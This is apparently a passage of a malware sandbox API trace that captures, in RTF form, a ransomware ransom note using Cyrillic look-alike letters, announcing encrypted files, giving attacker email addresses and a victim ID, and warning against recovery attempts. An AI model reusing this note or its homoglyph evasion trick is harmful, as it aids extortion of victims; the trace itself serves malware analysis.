rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.393] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 